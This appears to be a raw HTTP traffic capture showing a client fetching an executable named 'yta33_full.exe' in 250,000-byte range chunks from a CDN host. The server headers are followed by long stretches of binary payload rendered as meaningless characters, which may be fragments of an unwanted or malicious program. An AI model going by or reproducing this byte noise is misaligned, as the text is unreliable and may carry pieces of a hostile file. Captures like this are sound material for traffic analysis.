....$.s.....%.....5.w..%ooK.......%........w!.U..so;/.......sh[z..>
...jW..........q.{kW...z.....N.w}..5Ix3-}.0.v......z$}.4.v..L.6{?..=..
.....u..2x.K..?.I...[.......9..rs......mE.a.s.....K..x..?D/....S..<
-_..:$S.(.&.d.IH..!.SB..k....W..~..n,....?.t_..C.p...~.........8...E..
. ........s.o..[&.H!....D=a..5......(..z....hw.....>N\.. =.6...K.P3
p...........tn..f.z.d....;...-...e..b_..)f7.2....O...{............>
\......5R.zkwM..F....K..'.~.Ku-.K.v...7E......H.[..w.b..ez.>\.(<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2000000-2249999/7590800
..0M.......!..I/*r...S..h......B{.{.F$.~l...q..O ....\.B_.. J......2..
../.H.e<6.=....s.i....Fp.Gi.....~..I..S......j...v..,\.K.>.Qz.].
......p.nyc...-...H.:.l3r .F4...e...7.MN.G..../P[......S...K....8...\4
#........a:~..0.".....w......s.%.0.j...S.I>.e.....%3>i...|.....9
....qd.......K...`i..j....I.S...N"r..e\b.7....;..xi.Q.....w,I.....3t..
Z...=&....k....A.w...,........c..9<[email protected]...)...
[email protected].....{#.s...!..2.<k...i..oI"C.....1T.\.T..>.>....Ey!...A.
;.}K.I_...#.........Q3........1p....7.I..u..............s....x..z.D..L
.U......7:.S...(...1.5C.P...;....V....h.M.......ey..{..../A..#k.7.#n.t
Xn;wAu=....).'<.R..:9...>...bWY...QL...or..{.jn.i.3........v..$'
......g..T..r/.W.........?...aXV-h..3.g..M|qe.........(.u...Wa...f[..o
.K.._.J.....,.\.n..n.Zn.>.N...7...3D...6'.VA.K..&.`%...$V..."g..%.p
....T....t.... ...D....y....K...mX...8..B..cvlJ.0.W..W.....xfX..8Sl|..
..Uu7.=.~. ...o...".[.i..........h.dA*g>...j....p1....jz.i.pulE..S.
u............;<.. n.uK.yv-.v.0..7Z...R....@..>....0..43._..K.;.f
. D.P.?RVW.G_.e........w......zB...\.T..A 4v.5....J..5c.D......7K.-...
..f.}g8..;<X...H:v.A..nq.x...h8'.h..D..p3$...0....t(>.A....._.&g
t;..~...H. ...o...3#.C|4.E..0d.......mr&.$.W.z...;`.c.}w..............
....&s...*......^..d.......WK....g..c......E......C....>.....FH/...
$.k.<C....h...........:..`._v7xP.Aq..F.{..Q9Y(>.g....2..bz:.FY..
#G.5...p............~U...#...GAl..Y..q-..P...&.gyy......*.......7...7y
..QJ...].....}.....{..F..G......B[.......Y....Q.z.E^wd....K|x.v...<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2500000-2749999/7590800
O#.g.S.*...UA.]0..wOBY.O_..'...1....<..@......*,..A.._f.]".......{.
x.]v.......-</..R....-@-.....?...2.?...'J&G... ...BL..?..ht.J:.:.=.
( ..8..Z..b3X...7.7.I}.9}F2.5....:$..S|_...=...**.BULN....K..9..<.*
p.:.O.P.....c.U....L..... q......x.......A.....J.e.c..;Ye....G...FP..=
.mQv..a..:..............P.(?  |...2..C..=.........g.ix..P.y..=.....m&.
.....F-Et<~b.xD...M.....5...y.*..o.}T...6..Q....E.q.........F....P\
!.........A.\..8j :nU/...q|0.e%F.|...N<|.,?.^~...V..^..2.N9e. ....Y
....9zU]........y.=`...Q6fUR ...I....t.c;c#..8.......a\.hn[yB.|...D.c.
....4.QFxGa...l.......Q0.q./.....@O.\i..(.8X......w........#U...n.....
..1z..|8....2....S...."..S...|K.w..|.....v.Re.x.%..yV....... .|..._.If
...D..X#Ht......Y:...%.?....:..d.,....I;..........)...'c...,N<....*
..G....M..!..j.............0.^.h[.6..;...=D.T......r6.....).I.&......O
.....@E.`.....L.`.|..,. ....j....\.`[email protected]........,.#.....V
.s...i.....xd...K.7..e.n;sg....IP....\&...............4......!..: ..].
.k ...(!.I...D....t.....`=...a.H.$r.....|[WIis....;3_......J..]...9j..
3.&..=V..T..G.J_.?:.|.k.r.z...W...v.gX..O...I.Q...nAh.........v....('.
.....a....S....o.. bRk..YLG\r3.ogc.....U....Bu.. ig......l.>..|...5
3ZJD>.GN.7..MA3.R...L.:........U.YY.m%.G......R....S.or.c1.%.Z.F...
r...LN......5.w$g&.\.._.....V.h...bbv...bbu)[...~....V.".7...:g.P.....
R2.JqE........./f.I..Kzp$....YF...d..9........F.y...Q....#.(Bf..."....
q.QP`.U..h. #s,`}....C...2.9cJ,....U.CT.#X.......D.o...l.......6n.6.S.
....:....e..a}...32,R..I.....l.....xG.e...6..T...y.Z.....~........<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3000000-3249999/7590800
...y.....L...p...y9.zY..i..%....j..|._&i.......[.=..=.IC.Sw?..\..8..x.
b]...J.F\.U..Mf....*...l....S...f.......%..r/......*...E..}!l%..TWG.v.
.U..N..B/.}.}U4)%.l;.5......~,.....{......{././..5%....% .f.....(..9.=
........e.*0cOgd...l..A.W.:m^.ku._.;6i.......f...z.6...O..e>{<..
...`,[email protected]:..;..q...O....;..'..... .n.D{....e.~Hg..z.........].x..
.l.fg:...?U...r.=f...?A........Z..uS!..Xy..}.1.T<..)...#..ab..'4."O
.Y.p.......b.D.L2Q{y..~.>..rie.M)...QD..LD..v.G..88)R.~.[..,....]W_
..O...7...s....v.DY...j.d...d......z^QU......bI......R......L..iT~.N*P
..........m{[email protected]....
.y.4.W....S..qJ{.$1.........}...{BR....Q3=.-....\....h....T..i..5.\.K.
.I....1V...>.....J../.?.v|........*%a.......BF............r...%..xb
.5....l5.P]`...j....7...E#..............o%G..j?.l..S.jJ.....l.f/..lP.w
.6X.....2Pi.]-^.}..s....{7..nO.M...g5.S......<.7a......oI...q......
f8....)..O....^....o..q..t..[.:.q..zd..c.U...>.e.;...F.%..L......].
..'....p.;..fX%{d(.{3..V....*......QJ......2.^Y]...D......rz.!..b.^f.B
M.[M.....W.oZ!7^@e;..?g.....o...csD....8.].x...d....>..f.......X.0.
...r(!.L...(&R. ,....:..Mi|.....~.m.l...%q.8...r{..mcZ.w........I.L...
..(1p...c.l8...df.... ....}..........`...X.I..._.. .D='...O.g..l.[.z.k
7..k2.|...C......Vbz..'.......O..d.dg..J.7gP.3........\....`.4C....'..
.(..%.Ny..\,.s...6O..sM.....$H`.?E.e.N{d.t.y...9..7^.g..Y.y.4....H....
)......q..C..42.......Ai...>u.l......Ag*.._Nw.Tc.x..}QE......o,..Z.
....?....xzah;....L/....s.|..f3..Wfi..O...3.hY...%....D.o.].......<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3500000-3749999/7590800
..N..(.j..X.E.|........#C.W....L.^Z-B.9.!P|.25-U..X.......;,...g.Q..E&
gt;......8...T...|...x.......c..s.....f-.../".W..S..&P}v=....Z1...C...
.;.l.8V...e..5.6.%.Mx.}[email protected].[..Y...$..5!.
....Fe....ze.SE..H....Y.tR.,.2..........Ue..\...Cu..Z.9........... K..
.nD..Z..z...V..5.}.be.t.aZZ.,..C.....3.<.........\.H...T..=..&..:..
.....l.......a...B3>7..g...V.....>.U.M...hN.;AD...)Dm..3..9...J.
........FF./......j2..G.o.G...!wP(.{..T...*$..l.3.,m...;-.1a..aM;X'-.(
...`-.Yw...3.X.i..*\......%Pq.OM1e......s..aM..o]`...6m..`je.$.~.....-
.l.pNx....N..z].4_rZ..\W(.. .....W'.M.... .....Zbph*.nm.~}1..^b....{..
8......#t...... :...\..A.. .1.0..TJ.-...!okP6.!...Zu....]...,}_.......
..|.z.D`. .7.C...b.sUB9..v."........%y...a4.9....9.!..k0*!,...C.......
.Y..S.c........d..g.gU..u>..>*.L.R.#...8 ..=.N....J~/bbM#yI....(
....`}G..6X..az'."..... ....M.lLKIty...&..(...M..'2..6\.........^...^U
N....,@..9.g.....|....*...i..F.Y.Eh...3.N..T...ZL..6i0...#..P{3......Y
K_.H%....0.N/g......s...f...-.1n..I7..0.m.1g... .<.ehZ.b..,3M....nk
.....J..I`......g...w.5...7...../.0./(....v.PLd|..h.F.;..j^P..C..a ...
.1.k.6'{z.|%5.C......[q....."[email protected]...)......?...`u..q
.X8.......1.....G!...M..c...u.[g..&m!.O..v%.E3...M.o..4.U.7....83.....
...e............Fdd.s...r.7^5Oq.....b)U.5...R.3z.D.'tw.Y>...9...%m.
v..~......)T.....qUX....9e..c.e...o\./l1..PWp........W..d.m...b.bq...e
...w....|Kv......h..m.}.@.)..h..f/ ...h}.q.DU.......o.RoE3.I...m...*4.
...z...UL..U0...`]....KYe...Dw..C...,...f.".....u.|..g..)....F. ..<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4000000-4249999/7590800
[email protected]%......&K...;..%....!..6Z...}.&..^3u......R:.P;O...=3 ..
q...l.U....U......V.an...X5J.j./!y**......nf....7.L..3!.[.L.uJrU......
 5.... ..r..%...5t_.5~W..........d...<.<..E_.y.p...O..".~-......
Tm4..~f.X%.2}S..0L...I.R3.7.1.J\.....?..m.<... [email protected]..<...
..mV.z![E.%.:.r.)^.;.u...w...C.8...{...)...&v.jU.z.\Db..P..e....I..~.Y
..^c.OV`......=....\.Dc3...).{...o[.O...........2......:...K...[r....;
.t......u.....F.\...Eb.....\..d......g5.3].?52....."]o..UF.....:..1Nv.
....M:.......h.q.....l..-8l.....S......ca8u...lz}.~..-...`..:<s....
w.dz..6V....z./...@B.......`.....w..UA.;.........%....L...a.z.i.:..VUu
.R..\W.-.....5......R,..P.v...1..s...j.......Zn.(....c4.v...C|.n...<
;|.....B..Md{.E).../...S..rw"...H........=).u.....H..?.....Q.Y|....B.M
.....$.J.]...g.J.....z.{...a...e.9...)....LD.rA.>......*...D..@.<
;..C..C...br.n(.'.?m.Ba.......}...=....>.yMf.....m8.pi...'j..F....=
F.8.$......ci.Sq..k....z..8.....mY.%..a10b.>0.N..R..H&.#....(...)..
..m!G.../...q*".R.....S....5.....$..s.P.....(..u...<\.....p..Cq....
..O..{....A...........CR.2..'N......B..........t.c:=..N.t.KY:.&%q..:=.
:.o.1b.G./H.?._3..;N..w[T.>.b...fh.S...^Ij.g.l.!Z.....D....7.......
*....p.\.n.... .UDO..X..e|[email protected]...#i..........xO}...?:......u.
.....Q.X...y.azp...0p..#.."JD.;.". ..sG.b\....Fjh/......!(....;......J
.o4....v.......<*pr.8..TrE.>Jn....Q12..w..F...#....g...;..X.....
k{........o.'..........m....D|.mGk.R$...*.R.......c.{........:.i...)..
[email protected].......|.:m...<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=4500000-4749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4500000-4749999/7590800
zz..m.._0...P7.....Z.P16.Q....-.V|..d.....-..u.^PtAbL.......sze.......
dg.....Ef............M.....F..!a.n...Wk.'...tSj....R;Z}:. *...Ze..K..u
AT.c?.hrz.1....y.}@.5.Ll..$X...o...^.....TR2....V...=2......,L... ....
.8............2.."....A4ok.~,.. .....1...,Z..e........m.....0...^.\...
wGm....jj...(...Y.Z..=.......S..\.I.....Yx..;.]M"...ú.......3F.-.ST.
c..b...-Y................t...h..<......|.F...P...o.....OW...... ...
.:X..oFNe.\...eg;..&a...A...pD....K.....$m...XbkZ!.4?.n..{.K..o.t...iM
h.-.n..i.FQ...,m.K?N..l....>..w....;.HU.iY.=.##@;..g.1...I."v...o..
....4bVl..Z..?...,[email protected].]D.;..4.[a..H.pye.*
.S....`..,..W6.]..&.O:...IBm..~v.....r..ud...5d.ZNu..".(...-].k.~}f...
6.-fE.,.[.|x....5F.G!..[.5w.P......5.0.d.".'...b... ...?......r....^.H
..AD....;_{b..... .'...z..\.`.zBX.}..Iv....t.5e......@z....~...=..n.;.
q=(*..d...r...$I........:b...7..b=...........n.#y.$k.GI..D...E]}n`.g..
.......@iv]..h..q........}.BP.q..t....C..di.Y...D..W~@...(...)..[w..6f
....S....qc....X...nK......Z...."n...v.x.YP..,..L.k.*.........;;_#..;~
...Oh*{O.v...w......H~...af.D...m .Pf.....S..  J..9..v....h8.1.......?
......4..p.I.`c..n/.!.3r..E. ?...Nb..s.m.>..e.O..&.>..A\a*N..'..
....2..Q&......i..pX.6....3.3{Z]...To......g.7.%.......\..............
[email protected]....#.o...k..lcHE~..J....|...7)...........G..IV......Z8......W
e...9....bm../..J_..v0~f..".<....:...4....Ei..*k......f.3.m...T. ..
.........&"K......El.^..f.;...;.A....Dr.B..d4P[.%..{AY..`7..2.W.w..=.}
..U@'.y,...3...v....3*wh17I.u3.T.......5th........b...4.........*.<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=5000000-5249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 5000000-5249999/7590800
Z]X.z#.m........C..].|..&.#CK...j:.S..6..n\.Ob.x.2U..,..........7.8...
.i...W.F..gO...?....\.~..|5=3W$.o._.r.2..I..)...4..w.....#/.m.......=&
M...}.~2...:6.)..._./$e/B..p..o.........%...`r#Q..)....$..nm......ZS..
.>....*..^g&=....F.1.&...v&..kpld. .Hf'-.)..w..6..a....n.K....X.v..
...FyeP.?..m .h]l.!X..@[....b,.O.. .pY.%.|...I........h.(..mF..}>3.
.6hypK82[)...j~T...N..o.....o0..Vt.}_.......nh;O.4UP..."L K.x.=s.;..f.
.h.V.`.y=-O....`.m.C.!r#...5.2..'.$?...\b.3W.lr.M.[..9M:7.0)..~.x.[.M.
.d..z.t].sG.r....:..l...p........yD..B..L..........^)G.Q.y.A...n.....E
$.KHH.........HZXl.PZ...7..@....._G.3p.c....O..C.n....>....IM.`.g..
.$k...m...H.<*...........d.\.3.#.p.Nn.=..].....Vg'..C ..L.k..r.X..w
...W.....C...4.v.L..U.a.r4...... ..:...."....#6..&V.lK}.o.P|.p.. ....#
.]...b.C....p.n.........`...O.x..s....  c^..h.BF.n''r[)r.G.PX.T.._...)
....N....7.Me....g...NJ.B.Nc....*.. ....D...o..._AW/.u.9.z5.j3.4..x..#
.3....G......ix...cZ..2..vI.c..;v.._......f...L..ZG.T........0....M..6
S..y'e=.J.......-..Ut..OH....z.Bn!...f..s..d...&Z.2..4...K.P...N.4....
....n.1L.mGB..s.Z......T..O......v..n~.....'. .x3......X....E. ..,a{.P
.....S.>...":....../.{..gs.......1:. .S..M.L.n......>....|..K...
}.3....xx.......|..xM..].r.v.....Jo.z..."=.O........`..O.%.......n...i
..u....=....Dq`Y.b[....J.......b.........$.t............C.0#.......]..
....f...z.........,{b.....#.jn.Z.~.......1..N.y..j.`.6.X6.u...K ...:..
..!.\..S.....H..i>].V...y.............t`W....v.(...._^k...]...n.NZ 
..1I..JkY.cf.>5H...Fj...:v.p#E0...........l..[8....n.....v....]<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=5500000-5749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 5500000-5749999/7590800
.%G...c..C....Q.........h.)...`........z..fr..]g...1.F....8 .7.....I.J
.B.0...[.......;0...\{`..1=....x;l.C|.eo...}A.7..*.w... .g.=.6....Sb..
t..;..h.4/~.4]....\A..#j.3..~.....C8)..oA$.D....L.9.......?F..O.1...Z.
.O.b.70w.e.}1...R.T..3...r..a..iv.H<..P.6l ..Y...}u.km.Q.FZ...7..[!
..].'.#0z.....Q.O.t..%.Q.xwWn.....|: ;....7mO....On. y.............L1Q
uY.p.N...=.Jtn.5d.P.iU.../{...9.>................9..@..&.K5MY.9,...
...}Z...`.[.lx!.....z >.....f.>.'}[email protected]..)'.....
g|..elT|O....n..o..w...{....)........1....-WX.....XY...P...[:.{s{"b...
..t...:.......:.;..1<.._.S.7...6....!&q-..<\.G7..,..H._...V...2.
............`...wM....ZF.<.g#[email protected].].I(...../..f...!B{?[._.Z..c
..g....\..9e.r...fz.S....N..d..v.I...t].....Cr..[....e...S......!....M
...>.e.d....W4..!.w.....@.....:n..{.b.8...l.2..<.K...}.-..ymW.Ss
fl.eBrQ....K....>.....'..E.n1........^.O.3.............C.H....S..Z.
...tTL.v....Z..D....!..M.8f.'q..a.5Guj........L.OM.\....G}.MvS...]..x.
I.[..sz.l..-.G0.U..a....b..L.-...;.&.l.S.A )....1. ..n...Mi...6...6w^.
...):.@#[email protected].!..?..x..?o.....%.P..............b<..7...
......0~i..i4u...9.#l....\.\..9.wCB.......u...G..........,..Q..k3~Zt.K
p?.~JW\./P..QUo`....e...s... R)t..[..f&.%..v.......Qq..|NIT......g..AE
....R..Z[h.O......jW^..>.%......L.g..........n...H.....RD....Q.v.L.
.e2".a.....?eX.._.q..;{\..M...<,..1I5?....05.:.;...f....R...Y(....r
.2U..Adu....F. ^[email protected]>......9...i........v...x
x.0.F.z h2 .Z.r..b.L.VoJ...t!cJ.a....4iV...=.Y..N].dZne.o '9l..:..<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=6000000-6249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 6000000-6249999/7590800
..!.....<..(..).n........Nvh][.....f.M.}...*./Z..A?.........po..M..
.&9=..Iq..N.tr...%e.|.E..U.....g...I.><..@......[....&...) .S...
.....<.d.0.@..~L..N...6.b. le.p....8...a2.........rvM..O...?.....#A
.<S.1_.._..Ww../......F...m3 I..Aa.z...d....).i.2...e.....-J.?..b..
.(..........H-..6.._....1.c.>...R....gv.........e..=......Xj.U.CZ;.
.[.u.. ..3SS1DN9._x.uz.4..C87.....r..F[.;Wy.p...f................kr..(
....Z..$..B.....vm[1.x..I.dWX.r....`...........-5.^.82.m.>(bpYd1.ID
...0......s..l. ^^^R.8....p....;.=.4F..}.&....`...g.io.=....`..Fp...M.
...;..v:E-.#.....g......w.7`4...NCYH....M..|.du].Js...&U(..\./.F..Ic..
..".c.xN...B..o.KK..e....{..G..n...i@(..t6v...`V.;=.-W.1p...O.z.......
*.:.....#o%.;D~...`.......9q.....Y}&."...X.t.aZYL.W..!f..}R.5d=.\M`..7
.K...mQ../...Q.$.\/..?.B.....Fj.... ....(.[2.k.{......t.....S...u..W.O
....yk;......gf.w..|...e>..........ucC9....#......*.'....5.....EFbY
.5..9.B:s<.......3.68.~M......V....4.j<...........A..O./|...._..
.*.). ..Z....O...6....9.....<.d{....._953.....J..E....>.F E.f.b.
<.:<$..n..,!.."....L.......,..^O..z.,fF.%?...h.]MP..:.k5..A...\.
.=e.L0..zb.... j.F.]@M..W`B1[p...B~<._....hW...6b...\...W.4?.|j\h_.
~.R..@...:........C<.5...*..<*A/V&.|...'.$./..mD.p..]p..P...R.X#
.vYbk.\..l>...*..i.....t..1..<.h.............._. .L.^...n...T...
........~5..uD.Z...q....~..}.\#....Ql...'.8.K4..}..N....A..yX...2P....
or<.... .._,...[.p........\..r...Z:..W..i.....G....C....{....p..].5
9...x...J.....a.u... ......T.:.!.....!.....Z<...4....|.. gz....<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=6500000-6749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:27 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 6500000-6749999/7590800
.....M...7-=b``..F_..XX..G..9.RN...y.5.{..t.h..SU.W..<.".._.......Z
.].F.}..8...`zW.......&~.Q.&'.=]V....iq..xBjx......{..W....d...\.;....
.E....e.9$... ....T.e...Z,..Q9......]RV6Y1..=`.3..n......H......(...qr
...8..*......<.S.|g..]...(B..n..JO]v.q.l9.R!...{;.......1.~2.K..c..
....6A/."..voE...{.&...g..b....Du......_p6d..i..7..."0~...N......V..LQ
....Z.K..>...X.....3,[email protected].,...-
y..yt"...-....t..da.}....|....o`Y&{.?._.'..y.\..dt;n....c...qJZ6.S....
....".....R.J6.T......ME.o.NFX.....c..........j.?P.*X.....E..im.r#....
....1 ..c....a@. ..Up...$.:.......28.r.o.........8..'....|.......^....
]......./.A...r"..h.....#;...G.u..o...l...w.A.......P.^t.I....7.....2)
8.f..L6..}.OH.L.M&j.[.(3.'.K....%..x=.GE.;.<[email protected]^..
....T..-.......3..Z....l..w......[.....e..,......s4.....Q...i.u)....._
...... <..Y.B.Q......s....:.....K.{wv...Vk.C.qXc..8....b..]...[...Z
nJC .q.[.......@....>>..k./T...9K..eX....5\b..<b...K......N..
...R......S.F....6..h.etQ.[....f...1..8N.cM..4...........6..0.v.......
..Q....vnJ....2...(vh..o].'..h..db...|.`G.>....Z.......1."u.....*..
w;.C.L.^3.h.....m..V}.L.4.q.w.......4Z{%(-..O@&j......8`......C.J..hv.
.....|.F-......*'x.`.]!y..(...I.iv.Vv.I.v.....4.)[...<.J....aI_N...
~0)R....1l{.... .>.k..hEG-?..qO..K.X....f)....h......0q.?]..9.B.U..
......K...n..3.q...Q..Q...x9...L..v.< ..3..Nh3...R*.%T3.."...-..GrM
U..6.?..B.Nw{lo...f'.(Rh)k........w)^.)..dt..=.Q.T.[.l.2.E.....h..Z...
'.....].K;|k....8v.'...l..D.\fu....{~O..W..$|...x......JW=q.l.B/.'<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=7000000-7249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive



.R.Z|...o.q0...H..{..;{...C9...{.].P.u.R.?1....w..$...3..JPG..yfN`.z?.
.....(i.O...!.....".....c".(.......P....n.p.n.T... .1....../.l......s.
...$.....'@`...)...1."H.....-by.e..%; .Mu......y.`.e...m..1......[...t
y..Ze..}?..R."[email protected].".qH...]?.B`..j..I...;H.4|L.B.t.......
..(S.D.. .F.........Wz.v&.U..>.o..1.pf.......JJ..........p..1..e.b.
;..B..Z..^...l.....D..../..|.$,.....Y....L.'1.x.\z.....h....&.84.wK.UQ
.HB?.8b...-.-.<.X$.~)$... #..Ay(AcR....%$9.L.F ......|...G.....;x.W
|.03P!.*.&...}.o..M#.1.6...?U...$.`.s$I.6...*...{o}@....eG.}Qe. .>.
.........\..;.........6*....v.d.>"..v~b....O..`..i....L...5..l.fS..
i..C~..1..Z&......Lz.......5{.3.v..,dA.....!..1....0.._....b.!{..[..!.
.............z=.5....C. `o..t.)o1.Iz.;R..4?eG.......!.S.=..-1p......".
J..I.V.3.._>. ...|...R.Dv-..(F....E. ..<%.........i...... .V~Z].
_F.SG..... [email protected][....p...._.....Yn....Ed.
-.J........p..a.:....$....H.....47i4....q.....@.[.^....S..f8.....p.}..
.....D.C.V..O....=.z2.........1..o..k?..F......<.l..g.)......,..g.(
..V....'B..H........<..>.T.[.x..O.....@Y..\........qR. .R..L|W..
@...... .H~..d....E}g.\..}.]ab......w...)..).I...F.~..9-H..x7....#...r
.2$^..........t..U.s..^.w..C.dlm...Pnxws..n%.......),..(...Y..$...h.."
[email protected]...#5...6..S.g....=..>...m......<0.pz..........
.....Uk....pQ..e,P....\.%..p.kPK^....`..umo^.CN.zs.ps).?.C.\..Zk>W.
.3.l".h.}H.T.O..e.Z.:.'....1..?2..s..=..z.[3V.v/....Q. F.9...~..F..1(.
.g...:[email protected][..;[email protected]?.]E.3.B8......P...<<< skipped >>>

